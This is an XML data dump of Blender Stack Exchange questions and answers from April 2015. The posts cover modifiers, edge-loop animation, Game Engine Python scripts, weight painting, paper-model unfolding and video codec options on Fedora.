  <row Id="28653" PostTypeId="1" AcceptedAnswerId="28700" CreationDate="2015-04-19T13:11:43.303" Score="4" ViewCount="459" Body="&lt;p&gt;I've made a part of an watch chain containing five different models, how can I easily control the array modifier on all of them as if they were a single object?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kyYsi.png&quot; alt=&quot;Model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13860" LastEditorUserId="5426" LastEditDate="2015-04-19T17:57:25.500" LastActivityDate="2020-10-20T14:01:52.283" Title="How can I control one modifier on five different models" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28655" PostTypeId="1" AcceptedAnswerId="28755" CreationDate="2015-04-19T13:49:49.283" Score="9" ViewCount="964" Body="&lt;p&gt;I'd like to animate a torus knot, making the edge loops (selected below) move forward along the knot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gD69b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method I'm currently trying is edge sliding all of the loops forward as a shape key, then animating the shape key. After the slide, the mesh should look unchanged, however the edge loops are on top of where their neighbour used to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple edge slide on the loops doesn't slide them all in the same direction; some loops slide forward, and the others backward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kyeaM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to slide all of the loops in the same direction? Is there a better approach to achieving this animation effect?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-04-21T18:34:12.910" LastActivityDate="2015-04-21T18:34:12.910" Title="Ways to animate edge loops sliding along a torus knot" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28657" PostTypeId="2" ParentId="28610" CreationDate="2015-04-19T15:02:13.833" Score="3" Body="&lt;p&gt;I will assume you want to blend a planar tiling. Not to blend a cube mapping between sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to then yes its possible, but it is much more complicated than doing it in some 2D app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the blending to work, the tiles need to overlap. You can manipulate the tiling with mapping vectors no problem: &lt;a href=&quot;https://blender.stackexchange.com/questions/26692/how-do-i-create-repeating-patterns-with-cycles-procedural-textures?lq=1&quot;&gt;How do I create repeating patterns with cycles&amp;#39; procedural textures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the problem is is to map two source mapping locations into 1 output location for the blending. That would require a function that gives 2 values for 1 input &gt;&gt; impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround would be to use 2 textures, each tiled like chessboard colors. The tilling would overlap between the two and you could mix them with linear weights of how far from the tilling border the pixel is. This would still cause artifacts on tile corners when blended both in X and Y so 3 textures would be actually ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the blending would look not good at all, I think you are better to make a tileable texture with clone brush, because this is not worth it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-19T15:02:13.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28658" PostTypeId="1" CreationDate="2015-04-19T15:28:30.607" Score="2" ViewCount="744" Body="&lt;p&gt;I am trying to set up a scene using Python in BGE, there may be a simple way to do it. It is easier for me to explain the problem I have with a very simple Blender session:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with a new Blender session, delete the default cube. Add a plane as a floor, and attach an Always sensor to it, and connect the sensor to a Python controller running the following script (3 lines only)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location=(0, 0, 5))&#xA;bpy.context.selected_objects[0].game.physics_type = 'RIGID_BODY'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I press P to run in the Blender Game mode, I can't see the cube created.&#xA;When I press Esc, I can see a new cube was created.&#xA;When I press P again, I can see the original cube fall down and rest on the floor.&#xA;When I press Esc again, I can see the original cube goes back to the original position, and another new cube was created at that same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy to modify the code so only one cube is created even if I run the script multiple times.  I can also solve the problem easily as follows:&#xA;Forget the sensor/controller, just run the script to setup the cube manually before BGE, and then play the game to see the cube falling onto the floor. But I don't like to have to run extra code to setup the scene.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have here is a very simple scene. My question is how to, in general, use Python to setup a scene at the start up of BGE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on what I see, it seems that BGE execute the Python code at exit (when I press ESC to quit).  How can I make sure the code is executed at the beginning (when I press P).&lt;/p&gt;&#xA;" OwnerUserId="9816" LastEditorUserId="9816" LastEditDate="2015-04-19T16:07:48.123" LastActivityDate="2018-01-17T13:49:05.343" Title="How to setup a simple scene using Python in BGE?" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28659" PostTypeId="1" CreationDate="2015-04-19T16:47:16.830" Score="2" ViewCount="739" Body="&lt;p&gt;I have a rig with the arm limb bones all aligned along one axis. When i add an IK Rig (with a pole target) to this setup, then the elbow no longer bends as expected (see upper part of the image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ApyVX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make this work nicer by doing one of 2 things here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can add a tiny angle to the FK elbow bone (the one highlighted in the image) in pose mode. But this approach would break as soon as the user resets the Rig to Rest Position, then the small corrective angle is reset to 0 and then i am back at where i started (the Elbow no longer bends).&lt;/li&gt;&#xA;&lt;li&gt;I can add the angle in Edit mode. But the entire rig is exactly predefined. When i introduce even a tiny change here, then i get visual differences on the rigged meshes between what i see in Blender and what i see in the Target System.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any solutuon which would preserve the strict alignment of the FK Bones and still allows to bend the elbow (as seen in the lower part of the image) when the IK Bone is moved?&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2015-04-19T16:47:16.830" Title="IK-FK How to bend the Elbow?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28660" PostTypeId="2" ParentId="28367" CreationDate="2015-04-19T17:27:43.393" Score="2" Body="&lt;p&gt;It turned out that this actually was a bug in Blender. This Bug has been fixed and the fix will be in Blender 2.75 Then my initial code snippet will work as expected.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2015-04-19T17:27:43.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28661" PostTypeId="2" ParentId="28651" CreationDate="2015-04-19T18:21:06.270" Score="11" Body="&lt;p&gt;Well, I finally found what goes wrong. It's simply due to the particle settings: I checked &quot;B-spline&quot; in the &quot;render&quot; section, which interpolate hairs shape using B-spline, and induce a shift between the root vertice of hair and its actual rendered root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuYtE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought using this setting be useful to have smooth shaped hairs, but in fact using &quot;Curve segment primitive&quot; (Cycles Hair Rendering panel) is sufficient and works great !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3G03.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-04-19T18:21:06.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28662" PostTypeId="1" CreationDate="2015-04-19T18:25:02.220" Score="5" ViewCount="1206" Body="&lt;p&gt;Is it possible to modify the &lt;strong&gt;bouncing&lt;/strong&gt; and &lt;strong&gt;elatic&lt;/strong&gt; curves in the graph editor ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ddoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;strong&gt;modifying the number of bounces&lt;/strong&gt;, &lt;strong&gt;the amplitude&lt;/strong&gt;, ... ?&lt;/p&gt;&#xA;" OwnerUserId="13523" LastActivityDate="2021-02-09T14:40:06.320" Title="Setting bouncing curve in graph editor" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28663" PostTypeId="1" CreationDate="2015-04-19T18:39:17.203" Score="0" ViewCount="617" Body="&lt;p&gt;My problem is that when im trying to create a circle on a surface with loop tools' circle tool i end up with tis deformation.&lt;img src=&quot;https://i.stack.imgur.com/VY19k.jpg&quot; alt=&quot;Deformation result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the circle i subdivide the surface, delete the inner faces that i dont need and select the loop thats going to be my circle. Then i hit the circle tool and the deformation appears. If i create a seperate object no matter the &quot;scales&quot; or any transformation i apply to it the prosess above will be successfull. Clearly i am missing something but i cant find it. Thanks for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. im relatively new to blender so anything at all would help&lt;/p&gt;&#xA;" OwnerUserId="13862" LastActivityDate="2015-04-19T18:39:17.203" Title="Loop Tools Circle deformation" Tags="&lt;transforms&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-04-19T20:49:36.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="28664" PostTypeId="1" CreationDate="2015-04-19T19:35:51.333" Score="5" ViewCount="617" Body="&lt;p&gt;I've seen some sliders working in pie menus but the one I'm trying to add to my pie script isn't showing up. Its the 'autosmooth normals' slider from the Object Data tab, under Normals (in the Properties panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to call it directly in the pie menu without making a new class since its already loaded by the main UI:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.prop(mesh, &quot;auto_smooth_angle&quot;, text=&quot;Angle&quot;, slider=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are sliders like this one not able to be displayed in pie menus?&lt;/p&gt;&#xA;" OwnerUserId="13864" LastEditorUserId="241" LastEditDate="2017-03-22T15:01:51.710" LastActivityDate="2017-03-22T15:01:51.710" Title="Adding sliders from UI to pie menu" Tags="&lt;python&gt;&lt;scripting&gt;&lt;pie-menu&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28665" PostTypeId="1" AcceptedAnswerId="28703" CreationDate="2015-04-19T22:17:04.150" Score="0" ViewCount="372" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: KX_GameObject.worldLinearVelocity is missing a physics controller&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This module stops running when it meets the &quot;cam.worldLinearVelocity&quot; command keys. It used to run before I parent the &lt;em&gt;camera&lt;/em&gt; to an &lt;em&gt;empty&lt;/em&gt; and the &lt;em&gt;empty&lt;/em&gt; to the &lt;em&gt;vertices of a cube&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the lines where the error occurs I changed the camera speed so the camera would move accordingly when the mouse cursor would be near the edges of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are 2 pictures to clear things a bit and the module itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DraCj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DraCj.png&quot; alt=&quot;cam logic bricks&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lCIdm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lCIdm.png&quot; alt=&quot;empty logic bricks&quot;&gt;&lt;/a&gt; (even if I change the empty and the cube player into dynamic or static nothing changed, same error)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;bge.render.showMouse(True)&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;sens_wh_up = cont.sensors[&quot;wh_up&quot;]&#xA;sens_wh_down = cont.sensors[&quot;wh_down&quot;]&#xA;cam = scene.active_camera&#xA;&#xA;mousePos = bge.logic.mouse.position&#xA;mX = max(0.0,min(1.0,mousePos[0]))&#xA;mY = max(0.0,min(1.0,mousePos[1]))&#xA;&#xA;if mX &amp;lt; 0.05:&#xA;    cam.worldLinearVelocity.x = -5*(2-mX)&#xA;    cam.worldLinearVelocity.y = (0.5-mY)*5&#xA;elif mX &amp;gt; 0.95:&#xA;    cam.worldLinearVelocity.x = 5*(2+mX)&#xA;    cam.worldLinearVelocity.y = (0.5-mY)*5&#xA;&#xA;if mY &amp;lt; 0.05:&#xA;    cam.worldLinearVelocity.y = 5*(2+mY)&#xA;    cam.worldLinearVelocity.x = -(0.5-mX)*5&#xA;elif mY &amp;gt; 0.95:&#xA;    cam.worldLinearVelocity.y = -5*(2-mY)&#xA;    cam.worldLinearVelocity.x = -(0.5-mX)*5&#xA;&#xA;cam.worldLinearVelocity *= 0.9&#xA;&#xA;&#xA;if (sens_wh_up.positive):&#xA;    cam.ortho_scale = cam.ortho_scale+5&#xA;if (sens_wh_down.positive):&#xA;    cam.ortho_scale = cam.ortho_scale-5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? What exactly is the physics controller that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="2217" LastEditDate="2015-04-20T00:16:46.667" LastActivityDate="2015-04-20T16:09:46.817" Title="Error in script for the BGE" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;camera&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28666" PostTypeId="1" CreationDate="2015-04-19T22:29:44.070" Score="10" ViewCount="1538" Body="&lt;p&gt;I'm trying to perform a simulation of an object moving through a cloud of smoke. Ideally I'd achieve an effect like the ones in &lt;a href=&quot;https://youtu.be/RuZQpWo9Qhs&quot; rel=&quot;noreferrer&quot;&gt;this video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when you set particles to have smoke-&gt;flow in the physics tab, they don't properly behave like smoke. As you can see in the picture below, the particles just spray forward, as though they are all part of a viscous, tense fluid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/voqWC.png&quot; alt=&quot;smoke particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object is animated and enters the smoke cube from below. Rather than sliding around it and being sucked into the vaccuum behind the object, the particles push forward to 'make room' for the object. This isn't what I want to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to get a more accurate smoke solution with particles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be with particles because I'm exporting their velocities as a vector-field, and the add-on I'm using to do that (unreal engine 4 exporter) only works with particles. &lt;/p&gt;&#xA;" OwnerUserId="13865" LastActivityDate="2019-08-06T06:02:20.310" Title="Particles as smoke" Tags="&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28667" PostTypeId="2" ParentId="16481" CreationDate="2015-04-19T22:34:44.837" Score="3" Body="&lt;p&gt;This is currently not possible. But:&#xA;You can use your procedural texture (as long as the output is only black and white values) and plug it in the displacement slot of the shader output. You need to twig the values to your desired height for example with a color ramp. The cycles baking is able to render this to the normal map.&lt;/p&gt;&#xA;" OwnerUserId="13867" LastEditorUserId="13867" LastEditDate="2015-04-19T22:54:03.307" LastActivityDate="2015-04-19T22:54:03.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28668" PostTypeId="1" CreationDate="2015-04-19T22:38:50.913" Score="1" ViewCount="117" Body="&lt;p&gt;How can I extract the Image(ID) I paint on from Material(ID) of the object? I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['Material'].texture_slots[:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can see only the textures I use for texture painting, that I switch between, while painting. I've also tried every other field with &quot;texture&quot; in it, without success (they mostly reference the textures in the slots). Consequently, I don't know how to decide, given a material, whether it uses a painted texture and which painted texture it uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side question: how does blender know, that the texture I paint on, is the texture that should be applied to the faces, the material is assigned to? Painting a texture and applying it are 2 different things. One could easily paint a texture, but have another texture applied (i.e. not the one painted on). Yet, If I set a light property and switch into Texture Viewport Shading, I see the texture I am painting on.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="1770" LastEditDate="2015-04-19T23:14:57.450" LastActivityDate="2015-04-19T23:14:57.450" Title="where is the texture paint image hiding?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28669" PostTypeId="1" AcceptedAnswerId="28682" CreationDate="2015-04-19T23:05:55.463" Score="2" ViewCount="2021" Body="&lt;p&gt;as the title states I am suddenly unable to create any new objects, when i select a mesh from the &quot;create&quot; bar nothing noticeably happens, other than the object name appearing in the list in the top right hand corner of the screen, i cannot edit the object, view the object, or do anything at all to it, this happened suddenly part way through a project and has caused me to be unable to continue, it's driving me nuts and I cannot for the life of me see why this has suddenly happened, im sure i must have accidentally pressed a keyboard shortcut for something, but i do not know what, any ideas? &lt;/p&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2015-04-20T06:26:52.387" Title="Suddenly created meshes are invisible (even though they are checked as visible), cannot create any new objects now" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28671" PostTypeId="2" ParentId="28627" CreationDate="2015-04-20T00:28:12.767" Score="3" Body="&lt;p&gt;Highly compressed files can exhibit decompression errors, that is frame arrangement errors. And this can lead to Blender having a confused time stamp. In other words the h264 files can confuse Blender entirely.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Timecode:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Try creating a proxy/timecode for each video clip. You can just select timecode free run, and dont worry about a proxy.&#xA;This should help Blender allocate the correct frame to the clip's image sequence.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Re-compress:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Try changing or transcoding the source media to a frame sequence, this pretty much guarantees a correct time stamp for Blender.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-20T00:28:12.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28672" PostTypeId="1" CreationDate="2015-04-20T01:09:23.767" Score="6" ViewCount="1440" Body="&lt;p&gt;I have a text object that i want to reveal with a kind of handwriting effect. My plan is to animate an extruded curve which i want to use as a boolean operator on my original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DYFV.gif&quot; alt=&quot;Animated extruded curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the animated mesh (blue) be exported or converted so i can use it later on the red text? Right now i cannot select the blue mesh as an operand in the boolean operator.&lt;/p&gt;&#xA;" OwnerUserId="13870" LastActivityDate="2015-04-20T11:17:09.210" Title="How can i bake an animated and extruded curve to a mesh animation?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28673" PostTypeId="1" AcceptedAnswerId="28683" CreationDate="2015-04-20T01:24:19.783" Score="15" ViewCount="10029" Body="&lt;p&gt;I have a script, which creates multiple objects through a loop. However, the script freezes the viewport until it is done. Instead, I would like every object to be seen in the viewport one by one as it is created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its simplest terms:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;for i in range(1000):&#xA;    XYZcoord = (random.random()*100, random.random()*100, random.random()*100)&#xA;    bpy.ops.mesh.primitive_uv_sphere_add(location=XYZcoord)&#xA;    # Update the viewport here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to update the viewport after every iteration of the loop to see every newly added object as they are created? Or do I need to use a different method?&lt;/p&gt;&#xA;" OwnerUserId="11024" LastActivityDate="2015-04-20T10:44:52.583" Title="Update viewport while running script" Tags="&lt;python&gt;&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28674" PostTypeId="1" AcceptedAnswerId="28675" CreationDate="2015-04-20T01:35:24.640" Score="3" ViewCount="4709" Body="&lt;p&gt;I am teaching Blender to basic ans advanced students &amp;amp; I am using the book BlenderBasics_4thEdition2011.pdf, by James Chronister in my class. That book can be found at &lt;a href=&quot;http://www.cdschools.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cdschools.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In chapter 12 this modifier is described as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OqLwI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither me nor my students can make the basic cube look like the above.  Can you help?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2015-04-20T09:22:49.987" Title="Displace modifier does not work as described" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28675" PostTypeId="2" ParentId="28674" CreationDate="2015-04-20T02:36:14.167" Score="6" Body="&lt;p&gt;Start wit your cube, enter &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;) and subdivide it like 10 times so you &lt;strong&gt;have many vertices&lt;/strong&gt;. (&lt;kbd&gt;W&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;displace modifier&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;strong&gt;Texture&lt;/strong&gt; for to be used by the displace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6qrPd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2015-04-20T09:22:49.987" LastActivityDate="2015-04-20T09:22:49.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28676" PostTypeId="1" AcceptedAnswerId="28694" CreationDate="2015-04-20T05:16:06.870" Score="1" ViewCount="1304" Body="&lt;p&gt;I have been working on a character to animate and I have encountered a problem with my weight paniting. (See Image)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pR41M.jpg&quot; alt=&quot;Posing Issues&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through in edit mode and removed all the problem vertecy form the vertex groups, and I can't think of any other solutions. (Ignore the chicken)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .Blend: &lt;a href=&quot;https://drive.google.com/file/d/0BwmWa-IlNzrzUmx3alR1Q0dmeWc/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0BwmWa-IlNzrzUmx3alR1Q0dmeWc/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2015-04-20T14:14:37.473" Title="Vertex Weight Issues" Tags="&lt;animation&gt;&lt;armature&gt;&lt;vertices&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28677" PostTypeId="2" ParentId="28669" CreationDate="2015-04-20T05:18:48.373" Score="1" Body="&lt;p&gt;Is your 3D cursor visible in the viewport? If not then the objects are probably wherever the cursor is.&lt;/p&gt;&#xA;" OwnerUserId="7537" LastActivityDate="2015-04-20T05:18:48.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28678" PostTypeId="1" AcceptedAnswerId="28680" CreationDate="2015-04-20T05:41:28.913" Score="2" ViewCount="1259" Body="&lt;p&gt;I am using Blender as the basic 3d tool to design the paper craft (like origami, but with die-cut). &#xA;My question is that is it possible for me to flatten the mesh with the polygon undistorted? So that I can print it out on paper and reconstruct the 3d model.&lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2015-04-20T06:04:31.220" Title="Flatten mesh with no distortion" Tags="&lt;uv&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-04-20T08:43:15.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="28680" PostTypeId="2" ParentId="28678" CreationDate="2015-04-20T05:54:01.097" Score="7" Body="&lt;p&gt;If I understand your question, it seems the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Paper_Model&quot; rel=&quot;nofollow noreferrer&quot;&gt;Export Paper Model&lt;/a&gt; would do it fully automatically. Related &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?186071-Export-Paper-Model&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Artists thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon will export an SVG of the flattened model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nybr9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works well for most shapes, you even get extra flaps for sticking. Note the outward surfaces will generally not overlap, if there is overlapping it is only the stick-lips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxSeq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;becomes this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GP3ra.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-20T06:04:31.220" LastActivityDate="2015-04-20T06:04:31.220" CommentCount="0" CommunityOwnedDate="2015-04-20T06:04:31.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="28681" PostTypeId="1" CreationDate="2015-04-20T06:03:52.620" Score="5" ViewCount="1402" Body="&lt;p&gt;I'm trying to render a video using blender, it have some images and sound, if I render it using just the default options I get no sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching on internet I found that I need to use other format than AVI JPEG to set some codecs options, I just have &quot;AVI JPEG&quot;, &quot;AVI RAW&quot; and &quot;FRAME SERVER&quot;. I'm keep looking but I can't found any information to solve my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using fedora and actually I have &#xA;xvidcore-1.3.2-5.fc20.x86_64&#xA;ffmpeg-2.1.7-1.fc20.x86_64&#xA;packages installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;When I had the problem I had the last version of blender installed from &lt;a href=&quot;https://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender download site&lt;/a&gt;, I also tried installing blender from dnf, also tried with &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;buildbot&lt;/a&gt;, so &lt;a href=&quot;https://blender.stackexchange.com/questions/47166/how-can-i-enable-mp4-h264-as-an-output-option&quot;&gt;this answer&lt;/a&gt; didn't solved my problem.&lt;/p&gt;&#xA;" OwnerUserId="13792" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2016-09-15T20:34:32.890" Title="Limited set of output codecs in Fedora Linux. How can I enable others?" Tags="&lt;rendering&gt;&lt;linux&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
